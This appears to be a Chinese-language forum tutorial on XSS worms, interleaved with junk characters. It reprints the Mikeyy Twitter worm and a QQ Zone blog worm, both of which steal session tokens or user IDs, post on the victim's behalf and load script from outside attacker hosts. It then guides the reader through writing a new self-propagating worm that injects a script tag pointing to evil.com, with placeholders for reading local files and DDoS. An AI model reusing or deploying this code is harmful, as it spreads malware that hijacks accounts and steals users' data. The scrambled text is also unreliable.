3 Z/ w& p# A2 T$ m$ J 8. catch(e) { _0x6687x2=false; }; }; }; 5 P* R1 ]* u% p$ s
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML; - x+ M1 O8 v7 u$ ~# ^/ i: _" ~4 t
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3. var tmp_cookie=document.cookie; # L- K# ~7 I, \/ K8 }) x
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4. var tmp_posted=tmp_cookie.match(/posted/); : C6 a( D( b2 s: U5 N" I, N# {
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); " |0 V4 B2 S/ W+ m+ M3 U1 L3 a
8 H: q) V2 s" [& w8 `3 v 6. var authtoken=authreg.exec(content); - j+ G* q( d9 N I' I+ r' f
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7. var authtoken=authtoken[1];
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0 f# Z. M8 m* R x5 v 8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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6 }( g: t& m3 O$ ~ 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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7 [" c+ t4 f3 |5 Q4 h 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; * M7 p8 e& g$ K+ p0 Z9 X
0 l+ _# T( H) j 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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2 C {8 g3 d! c( i 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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' U" B( o: ]4 b: N 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 4 G1 Q( z7 X* j6 C! T" }, I
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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# n! B* G! R; D0 h( a. P+ } 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; + Q& B( M$ n2 B# B
8 q' Q8 W, f/ n T 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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3 C- I! \, O1 P7 l' n9 d) Y" ^& H 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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( g9 L6 ^$ y1 J# a9 N! Q! ~9 r0 j4 v 24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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3 [( u& i3 Y; U; v: ]7 q% F 26. var updateEncode=urlencode(randomUpdate[genRand]); 1 C q& c5 z3 y) z% ^- ~2 a3 f
- Q2 C7 t, q3 B0 Q% h 27. ' Q' v) d$ T" p% j) D
: H9 J) n8 U. o* _ 28. var ajaxConn= new XHConn(); " m4 s `0 y2 ^7 q0 @2 o( E
+ `( Z/ w% L, c
29. ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
% _/ b X8 d. \/ z/ \/ p
8 E% |& w9 G5 c' k% R: T0 z 30. var _0xf81bx1c="Mikeyy";
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" }) Z. p" L: p. M 31. var updateEncode=urlencode(_0xf81bx1c); ( b7 V: h* g" R+ r! e8 @. N! B
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32. var ajaxConn1= new XHConn(); + ^1 U/ }% j, o5 Q8 p7 p
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33. ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS); 9 ^ y2 t5 Q% `/ k( s) U C5 d# X
, d% I0 |) Q/ B( d) x+ F; d6 Z& |! Y 36. var ajaxConn2= new XHConn(); + Y4 m( G" a U1 d) B
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37. ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38.
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+ K! \2 P! O3 L3 c* B! } 39. } ;
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. G) {' e3 u t1 R" j4 T 40. setTimeout(wait(),5250); : ~3 W1 T- Y- M& ]% U. e
复制代码QQ空间XSSfunction killErrors() {return true;}" ?) W" d8 J3 G# o( j7 h
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window.onerror=killErrors;6 g3 r* o2 f- D6 a8 m
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0 p& U, v/ S- x) u# {( i" r+ O! H
2 |+ r; D0 i& ?) s5 C5 \% [var shendu;shendu=4;: n. F: B# P* N9 ~! N6 V0 p
' I3 M0 _6 M' Z" b `2 h//---------------global---v------------------------------------------* Y" [9 n" k" P2 O. {1 Q
/ M0 ^% O6 \; f/ u//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?; g& E/ o- h! `( M) P# K1 o) z- u N
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";2 y4 u9 f+ z3 e' S& x' Q9 N) D
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var myblogurl=new Array();var myblogid=new Array();
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% Z7 `% { K* ~/ s" s var gurl=document.location.href;0 O% K$ R* c: h( n! s2 d
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var gurle=gurl.indexOf("com/");8 N. q p* q- e) K+ S4 M
+ o* [" }" ~2 Z: w9 c3 F gurl=gurl.substring(0,gurle+3); * L* H: R, _& U X/ A4 l
u8 F3 _6 s6 \/ {
var visitorID=top.document.documentElement.outerHTML;
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% v" x& U, A) z var cookieS=visitorID.indexOf("g_iLoginUin = ");8 Z! O s! }7 E' d* a0 c) x: I
# y' X$ ^( e. Y1 X n. V! b* D' K ~; {
visitorID=visitorID.substring(cookieS+14);; C5 O; r$ `8 P6 {0 ]. I" D& y
+ D9 x& D8 p0 W$ I# y cookieS=visitorID.indexOf(",");
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- S6 \6 E. D$ W% B' k visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);
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DOshuamy();
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% s; N* C8 b7 w) Y2 d
//挂马( A' Y" ]8 ?# Q0 Y
6 ^6 R8 ^( ~ e; [function DOshuamy(){
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var ssr=document.getElementById("veryTitle");( K- U" h/ U, Z
& C8 m' \6 G% w7 H {8 ]3 Cssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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+ v' {# N0 ?& ^; X}! A- K4 z! K+ U: x' j
8 N4 ~/ h r; J2 n( E5 C9 }( _8 I" R) M; B
9 Y. x: d9 u: J1 v0 I# j//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?8 N: i8 o; i3 T, m, f$ [
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function get_my_blog(visitorID){: Q% i$ s" m% s) B) u
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1"; B4 b. d/ w6 \ c
! F. C7 ~# v6 ~ xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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4 r6 |4 L! `( i4 {4 k if(xhr){ //成功就执行下面的* R! V5 |9 {/ `1 C, }
7 o! a& f5 H9 C: o( Y; E xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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6 c" V& P# d; O- i xhr.send();guest=xhr.responseText;1 i; j# B. O3 k V
+ C* S1 @1 e& {- d( a get_my_blogurl(guest); //执行这个函数
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}
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}
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3 } x7 J" f4 {
6 c H5 o; v6 a% Y9 \//这里似乎是判断没有登录的
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function get_my_blogurl(guest){
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/ V% m J7 Z% K% s var mybloglist=guest;
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var myurls;var blogids;var blogide;
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2 k! ]; A3 n) D6 b' K- Q0 X for(i=0;i<shendu;i++){
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9 j2 a' ~* t( L% h/ C6 ?6 o myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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. I! k) ]; ^5 a+ q& m/ f if(myurls!=-1){ //找到了就执行下面的
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. H; I1 j' ~$ _ Y% B( m+ x5 T mybloglist=mybloglist.substring(myurls+11);7 M, f! ?" j( d1 [9 K d( H4 [. g
9 `! {) ^( D; d' i; |3 r1 g5 z myurls=mybloglist.indexOf(')');1 `/ K S7 f2 ]0 v* \
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myblogid=mybloglist.substring(0,myurls);
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0 F; x7 O) i3 u( O }else{break;}
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get_my_testself(); //执行这个函数
% l$ `! N2 ?1 Q) E7 ]+ y5 K
2 |0 u, w8 |% f5 A1 }* J}0 o% r1 H% D& c7 E j i% E
: w5 x& }, q! T9 N" i; x$ ~1 l- U9 \% M/ s# T j: S
. w4 x! a6 l" W% R//这里往哪跳就不知道了& }4 y) Y0 c& t* R
1 y+ q3 F! S" P
function get_my_testself(){9 K% G. [! _7 X3 F: h3 C
9 b5 d% }& S: \% p9 p for(i=0;i<myblogid.length;i++){ //获得blogid的值. a/ K, t" _2 c5 w+ g
* Y2 t! q. ^0 G
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();9 @1 F3 R2 C7 a1 j
) H7 @7 }" P4 }# s" f' ] var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象- a a) a' M) n- M. f8 z) E
2 v" d5 q) d7 v Y* D* {
if(xhr2){ //如果成功2 O/ r2 I7 q1 I/ S: ]
A$ D; K0 u, Y& \# O
xhr2.open("GET",url,false); //打开上面的那个url E- v; V% `- B! N2 {6 P
; b) e# ~7 i: N3 p, ]
xhr2.send();$ [- J3 T b# c
3 g) R1 k- h' C5 U$ _
guest2=xhr2.responseText;. E4 c3 \1 D" k' Z
& T' Y# V$ D8 q& S( ~0 @ R9 k
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?4 }1 ~) G4 m- W# e5 @ p4 t
4 T2 l* U. V8 {$ s3 G$ r
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串8 D/ r7 z: i I" j) w
7 {4 p2 u. U" ]* g# L) z0 P# P if(mycheckmydoit!="-1"){ //返回-1则代表没找到
# q i, X% O% d* ^2 F& J* ?: f" Y
- l3 O, N! N" t2 I targetblogurlid=myblogid; 6 v+ H# b9 N* z: Z! G( ], W
3 G% q8 ~1 e) |4 t( R! S0 {
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
% q, S. Z* I9 G% x
' c' E; X, ^% y( |5 J5 _ break;
+ ~! c8 w* ]+ {' I9 G" C; f" Q( S) f. s2 E+ A: N
}# \& f% M B3 m' F2 d. r
1 G- ?" A+ ~3 l5 K if(mycheckit=="-1"){
1 A, o+ E8 d3 ^2 |& x
- K) d5 y( c+ f3 \( V5 l. L" F% m targetblogurlid=myblogid;
6 @4 m, t) ]* k$ n
- X ~( c+ e! p. u) q1 n- j3 b* u& O add_js(visitorID,targetblogurlid,gurl); //执行它, n' r5 S: }1 ^& K
. _; e: G: x8 u" i2 D
break;' _5 O0 h4 d* ?
7 p F- n& c7 r; n, R
}
$ ]; r2 f: e) a4 ]7 _6 j) Z" f; H" I& v5 w
} 2 b. E, a2 t" O
: \- e; ^& C1 _ D$ {6 x2 I
}
# @, i+ g, S; Z4 X) ^6 W0 j, X. X. [" ^9 V0 H9 q. K7 X
}
! N5 N4 S3 G% Q7 y* w$ h( U7 p' \. {$ T( l. n
6 k: [( o$ c) n9 ^/ H% J; ^
8 j8 e0 g' z) E/ _1 F4 L* Y
//--------------------------------------
/ u+ X6 w% `& J4 i5 \/ Q
( _+ a) x- b. U* ~% C//根据浏览器创建一个XMLHttpRequest对象+ ~- F7 {2 K8 _7 l
' B* t* E7 U3 x/ r. M8 e9 k
function createXMLHttpRequest(){8 W/ ]2 i6 X: J( x- A
, @( W# M" @0 z5 n) W var XMLhttpObject=null;
+ m9 |' _+ Q, D, |5 |7 G2 ]
0 p( {) @. Z5 M7 h" c8 ~# ^/ W4 u! ` if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
0 u" B+ H" s: E- o8 d& S3 X+ O. T8 X9 {6 h
else
) t. ]1 Z X5 ?; U7 s) {5 @* \: s) ~& I: M! q* I% }4 Y" [9 G6 F& `
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 9 ^7 S2 l' @7 T" R! K9 Y
9 Y ?' _7 @* O0 ]8 C+ a for(var i=0;i<MSXML.length;i++) j/ n( I( }0 V/ R
1 I. J( @( F* V* {; a) M* d) Y { - e" C* D- r5 t& n& p0 @
$ |- u% g, h4 y% z. m
try
& o2 s- m6 d( F7 m. Q' T. G6 e4 |3 `: o, W+ E- x- ]
{ ! n* N& s2 W6 B2 }
# d- Y9 [( [$ ~& K; A" e
XMLhttpObject=new ActiveXObject(MSXML); 7 `: J/ \7 u6 P; U* {5 m
% n) b/ Q5 G6 v4 \; F( r8 w2 O
break; # I+ h, ?( h( T1 i
" m# ~8 c; g/ L3 }
}
1 g5 \; G( h8 c/ }+ } |9 m E W" M0 Y3 E
catch (ex) { 9 v( a0 z! V4 c: q0 a* N
/ K( |5 }% T9 W" D
}
5 L8 I9 r0 v: \) S# \8 O& z v$ Y7 O3 F4 r
}
& ~2 w1 S; j! E6 n3 }3 E" V. G
$ U; y8 ~$ [3 Z, C6 a! W, n }
. n* y' j" J0 L0 c' k7 M2 M! P6 \( C/ X. j
return XMLhttpObject;
$ t' }, d; D _. y* C/ T6 Q: s5 ?. W+ S8 N4 }; i6 D; h m
} 2 u3 v3 x& C6 u0 P
7 k8 ^2 W0 v R, n. ?$ H
2 q1 f$ U3 g1 J
$ d: w" G. f* T: a//这里就是感染部分了9 p3 ~1 k) s3 Y! E* x E
& B2 A/ t/ u" yfunction add_js(visitorID,targetblogurlid,gurl){& D- ]+ d. P# G. j0 k
6 e# M& U- J( T- ?7 w+ |var s2=document.createElement('script');
) o$ n/ R3 m b7 m; a- W
& _5 v$ m* W, d4 Us2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();* A3 G% u1 ]0 H2 D3 [2 D
. i! Y4 r& D* x# Q' W/ G1 T
s2.type='text/javascript';5 y3 M9 s( S$ |; H: R% B; Q
' w- E* M9 |, i; D' {* mdocument.getElementsByTagName('head').item(0).appendChild(s2);* Z/ P) \9 O1 ?! d* @- ^, I
( ~ X* N3 r- m0 V
}
. b* ?% {4 s/ M% W) I8 L* O0 E5 }" v- l
: G- s9 Y4 {4 Y
9 Y$ m. Z" T, H8 F& R, _5 f& g+ K$ ~; R/ U7 r4 ?- _5 c6 |8 v
function add_jsdel(visitorID,targetblogurlid,gurl){
3 _" K( m, A' Z+ [
T9 p1 [4 _) w5 y/ R" ^6 pvar s2=document.createElement('script');
% m. x- |: ]! Y; T
- K, _' y! P1 w1 N. N: `s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
0 Z* G8 p/ x7 h( s8 f$ E* y6 K. E, s: i1 |8 k( Y4 ?- v4 u
s2.type='text/javascript';' m! V5 x3 ~$ Z5 t
3 y, D0 ]; G- b5 P8 d+ vdocument.getElementsByTagName('head').item(0).appendChild(s2);' K# z' C0 W, t
, R& l- D) [) X3 s! g. j
}
2 I5 i; s0 R8 R$ ^/ d复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
' U! W- o. n. d/ Q4 O# e1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)5 ~6 W' @" q) u: f- O
. h5 X$ R) z; c4 K1 _4 E2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)9 ~, H5 T4 h9 @9 H
' U5 R# }5 y9 R8 h
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~6 Z8 O, c" j7 r8 G) ^ H
6 [8 O, f- e! ]! A" I& X& j
4 Y% r/ j0 \, N" l+ Q
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.8 T9 g- w. e/ f, F
% G& B9 ?2 R% y; N h首先,自然是判断不同浏览器,创建不同的对象var request = false;
- B9 Z1 Z$ `, i" ~+ ?; g% p% F6 K8 C j/ G3 f1 r
if(window.XMLHttpRequest) {1 J5 ]4 l4 D E
8 \4 V' p1 ?3 f) v& e
request = new XMLHttpRequest();
7 V( y2 V2 D3 K$ r: o
( e+ G9 _. B5 g* [if(request.overrideMimeType) {
# E3 J) y3 E! I- {, A
, S* T3 S4 c/ L3 ]" Xrequest.overrideMimeType('text/xml');& N, p7 g* ], g0 ]
+ A" v/ B: m$ Y) l; u
}
% e Y8 C7 [: g9 R; ^
+ F6 j) t7 d% n j} else if(window.ActiveXObject) {
+ `3 w# {, y3 i |: d! n J& ]! K9 ~1 i4 D b& i
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 i! I2 I, R2 p; e K' ^8 ]5 S( N0 G* ^! j7 j/ H( s& f
for(var i=0; i<versions.length; i++) {# s9 ]/ O2 M E) R- A
0 p' [1 B) L- Q- D/ Y5 C5 {' H6 k
try {! O" W2 G( V8 z% Y5 I8 U9 n* K
5 k h# e0 K' r: G- J7 R; xrequest = new ActiveXObject(versions);
. x G+ ~9 k8 G" i1 V1 ~+ q
+ x0 V# a9 W3 X8 Y% a} catch(e) {}3 ?8 l! B: `7 `9 k B. O; u" T3 _0 R
) ~5 G/ e; B R/ E. m# c: v
}$ `: X& N$ z6 ?8 U; F
% @2 @& E. g- q7 y}: q' b1 Y; \8 Q$ j: H/ z% K
* b) K( g7 P" ?& x. l. i7 E
xmlHttpReq=request;
- x; F/ F: f3 L3 B+ m" p复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){& r; Z- S$ l! K0 t4 P4 [( s' M
9 F( h% G; u" x, n5 L- U9 U- S/ X1 q
var Browser_Name=navigator.appName;
. P0 r, B4 A& \: r' _! p8 X. n4 B/ n; s& r( f: ]2 [, O* v
var Browser_Version=parseFloat(navigator.appVersion);& T- V. p4 a- L) r
& V/ o+ b% ]/ _8 \4 l" ]
var Browser_Agent=navigator.userAgent;" j* Q; v( W* O q$ {% x* K
/ X& p& b1 S% J0 K
# \+ B0 G1 {& V7 K8 |/ N+ L# m: E
4 ?% v8 I' z) |, g4 u1 w9 U var Actual_Version,Actual_Name;
5 G( l. X, U$ l. A9 d! U9 M. }7 l9 n1 {% S/ n3 j( F
& z" A* O4 z0 _7 U1 g" E! Y
4 Q# O- S8 i9 h9 q, c4 A8 f var is_IE=(Browser_Name=="Microsoft Internet Explorer");
, y# Q; T$ v% O: P/ h
4 n3 w9 t" a/ B" z var is_NN=(Browser_Name=="Netscape");
) ?: r& {+ @$ W& F' b8 h- [& l* D6 Q" A; m. u* l; f
var is_Ch=(Browser_Name=="Chrome");
+ W" h; O. x. `' X) E8 }0 v0 h j; m X' g6 i/ n, h
0 b2 U- c: {/ u/ K h6 y8 R4 ]* a( }2 Y y4 _
if(is_NN){; l: j6 W7 V0 V2 b; b8 e+ p
2 M# ~; c% ?# Y3 Q7 Z7 G
if(Browser_Version>=5.0){9 d5 `) U- O( j( q: ~7 x9 F: M3 V/ ]
9 t1 p# O5 h) m# M( n+ ]7 _
var Split_Sign=Browser_Agent.lastIndexOf("/");
: o5 R6 v$ p; p, c @( l# N1 F
, I+ C2 Z \- G! M) h+ Y var Version=Browser_Agent.indexOf(" ",Split_Sign);2 s- u o* E, Q, e; O8 ^4 l
, W# B8 _4 V5 i% X# c! x
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
0 j* g+ F! T2 c- T$ j' ^) Q. Z, |% V" Q! S
& M1 G+ X* M7 T3 |, S! a) {) t- D4 o
% a) X. V" N, [. R. N# P Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);# Z6 P) b- ]+ A9 S" G1 t
; a' R, B2 S7 p9 D" q( u Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
6 m- {5 e" f5 j' }' [/ \
- x8 i$ g6 J0 u( p0 V* f! |2 X5 h }
+ U/ M( H& ?! D0 N5 s3 [- ?6 C' b4 |3 v+ Y
else{
2 {! ^3 b' _0 v. j1 g( M h, {+ N2 I
Actual_Version=Browser_Version;
: `8 {4 j+ h4 ?7 u+ ]3 c$ `. Z* N, k: n) r1 T2 j8 W
Actual_Name=Browser_Name; u! V8 |3 ]. E4 U& U2 n7 ?- M
" Q5 @" [7 y# U2 |
}2 k5 X0 `+ [9 @
; n9 R U1 I8 v9 ^. M& f
}% z4 x( M; F5 S0 W
2 h2 F* J) Z2 D& Q
else if(is_IE){
9 {5 I- c8 I* F1 C' G8 I# G1 C/ W% S M1 f
var Version_Start=Browser_Agent.indexOf("MSIE");
2 D& m( J* F6 j7 {5 h% ]$ q. B7 z# r6 }$ }/ B! h$ ?
var Version_End=Browser_Agent.indexOf(";",Version_Start);
z B* R1 ?( R1 ^# {. o
' N2 W3 k) ~0 v, Z' { Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)' n+ ^- T X( u9 _
$ f8 {, W6 J) B- U3 n# i
Actual_Name=Browser_Name;, q* P, d4 }4 j: [6 b1 f
6 ]# J" B' G5 ^/ e( Q
& ^, G" m- x6 w% p# k. b% X
1 x, K7 H' @' g( K if(Browser_Agent.indexOf("Maxthon")!=-1){
! l5 \; T' d9 s! O6 k; F3 a: M2 K
Actual_Name+="(Maxthon)";0 A3 y* k8 o" o0 n' }
6 p3 C. Y1 {! q+ C7 q
}
$ y$ I( k5 ~1 R3 }! @ q
$ U( A( {3 T. z else if(Browser_Agent.indexOf("Opera")!=-1){' t! q; }# w, c
& t! i7 D; J( ~4 s, ]5 H6 |& V
Actual_Name="Opera";
& n) n+ x& K/ {1 N1 x( Y" a) c( K
& C4 O- k$ k$ }$ F var tempstart=Browser_Agent.indexOf("Opera");% J" F/ ^7 D7 N9 l. s( t
1 j9 p- W' M: Y. q var tempend=Browser_Agent.length;
8 h. u+ ^3 V; J/ }0 e7 u' }: S, w0 \2 r+ T2 Q6 ^$ V* `* E: Y
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
5 D# K* Z9 e# h8 j. T8 P* f- Q2 H$ Z$ y* F0 X
}6 n. w) {: N" Q4 q/ N
: v% k4 g, }6 Y/ p
}
0 Q1 D! r- f8 P2 k% }/ f3 d8 K( I& v0 ?1 T
else if(is_Ch){4 @( u$ R5 v- x* x0 m% @. E$ s3 u
6 Q% z3 e, {% `4 `( U var Version_Start=Browser_Agent.indexOf("Chrome");6 t# _3 x& ^7 ^+ h
9 _3 ^) r" E% m: ]8 R# K3 \
var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 g( J8 h6 o9 E7 _- r7 I, S/ t/ H2 U" c# V% s% j
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
/ i9 T% J9 |$ s/ o: X2 H
" G2 P* {& H9 e Actual_Name=Browser_Name;
& a& H# U( j; ?5 I7 F0 R' d$ A7 X" W9 A: }7 C& Y% u
1 X- q8 b) b0 ~. A% y, P
& D; _/ f% s+ V+ F- ?) \1 P/ C if(Browser_Agent.indexOf("Maxthon")!=-1){2 a. X4 d ^' |. F7 l9 p
8 {9 ] I/ I! P) c
Actual_Name+="(Maxthon)";, w3 }5 R0 [# `. ?0 H0 Q# u
8 B+ d5 O( x- w3 w S }
* j: [) {2 U- d" q ]/ S, h% C9 `/ v p
else if(Browser_Agent.indexOf("Opera")!=-1){
9 `/ U) _: \* x V
8 {/ P: K' |- |: w+ d Actual_Name="Opera";
: K/ s* w8 L( h! [9 \$ l
$ @! G- n- w+ f var tempstart=Browser_Agent.indexOf("Opera");1 U# w7 R' w9 ?3 I/ P& U0 T6 {3 ]. L
) e% e5 [6 C- z& b4 H: |. ?
var tempend=Browser_Agent.length;6 t* c6 Q9 k |) Y
2 g8 v% E! f& O( p0 J- `! | Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
# {1 r6 C5 e8 V" }1 V) \/ n% `* [
0 R) o7 K0 V; W- E8 l }
9 Q9 p/ W; Q5 P" [ y) W/ D5 C; H" F" C9 Y
}
8 G5 o% B* s5 V% R
2 T- l: q& R/ f6 v7 z else{* Z U7 z' w+ k, N: ]
v' b$ U2 K+ S. i* I1 o7 k; O Actual_Name="Unknown Navigator"5 y5 t0 t' K6 l( J8 X
, G' L# J* i; Y& A3 W
Actual_Version="Unknown Version"9 }. A# `8 u9 ^
& g8 u) B9 {: o7 H) D }
- Q" _( r: z/ K( N6 L# a5 q7 Q) j) ]% U8 P; _2 o* a3 R
+ I7 S% R! Y3 k* U4 X
1 f7 l, i8 t" m! c$ \6 p navigator.Actual_Name=Actual_Name;
, ~1 W2 A1 \" c" i( [5 B7 R: b
3 i1 m$ s3 P0 ~! B" T2 `' I; }) o: W navigator.Actual_Version=Actual_Version;
" W* ?5 e! @: g: v' I: f9 x' v# b0 x; b) Q! S
" q, f$ D. y9 N4 n! v A+ j
+ [ b) E& @( \5 U# n" w
this.Name=Actual_Name;8 d# G& Q% L9 @/ X. |4 v
) H3 g) p) W% Q this.Version=Actual_Version;
* e5 |; v2 j% x6 c3 j) G+ a& Z9 m, ^
}
; f) E' V' W6 q% A1 W' r/ u1 M/ x+ n8 n4 b
browserinfo();
# q) Y/ ^( r- h2 l, N4 w. z" _' L( W8 r+ J& V' i7 O
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
0 K* w: o( U. _: H2 [/ R2 M/ t; z2 n* Z: X9 d0 e7 d: |" h4 h1 Q
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}: j2 b/ t8 b$ |3 u& |/ V b
9 l" B' p3 y7 z% S# ^9 r2 b) S
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
. V6 B0 U' r0 \, S/ @
% a1 I: f" h) G. S. f9 G3 T if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}/ L7 v3 r7 `4 x; q: [3 b8 F
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码- e9 K. S- D+ w# w: o4 b+ {
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
& X9 ]- c8 e3 ]复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.) o4 D$ ` g# Y g, B
& k$ `) Y9 e- ZxmlHttpReq.send(null);
; ~4 |. X7 |( h+ c4 g% F. y7 S
* w, k/ M7 t3 dvar resource = xmlHttpReq.responseText;
% }. z% |- h ]$ D% t
C( Y- b7 M/ D( P8 h) Bvar id=0;var result;& Z5 k% v, J/ Q; `" Z0 g
% u3 Q/ J! ^0 v# W% _' Ovar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
; A! T+ ~! a3 y6 X. B" B$ Z4 t1 }$ T8 [
while ((result = patt.exec(resource)) != null) {9 e3 f9 p1 B }* E6 A# m4 u
% H# `0 T) x$ V& h( h7 {
id++;
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, `8 W& x, Q& Y}
1 t2 ?( h: P& u$ J" F- w复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.' h1 u2 \/ Z B* L# m, o% |1 s
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no=resource.search(/my name is/);4 F" h, g, ?0 z4 n- ]# m$ l0 p
$ g' f: s; k' x; O2 |var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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/ `) `6 _! y0 mvar post="wd="+wd;
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xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去., Y8 z. q9 r, K
4 S$ V* {4 t6 s& FxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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2 a$ {) @' ?$ r( Y( B) m9 q, E) mxmlHttpReq.setRequestHeader("content-length",post.length);
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8 V/ X" e1 f- @& ]( E1 UxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");2 F8 E2 p* v2 F) b. V0 x0 q
6 K/ V, j J: ?' mxmlHttpReq.send(post);+ e* l G; L, @
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}; j) p! y$ S- b# s3 c
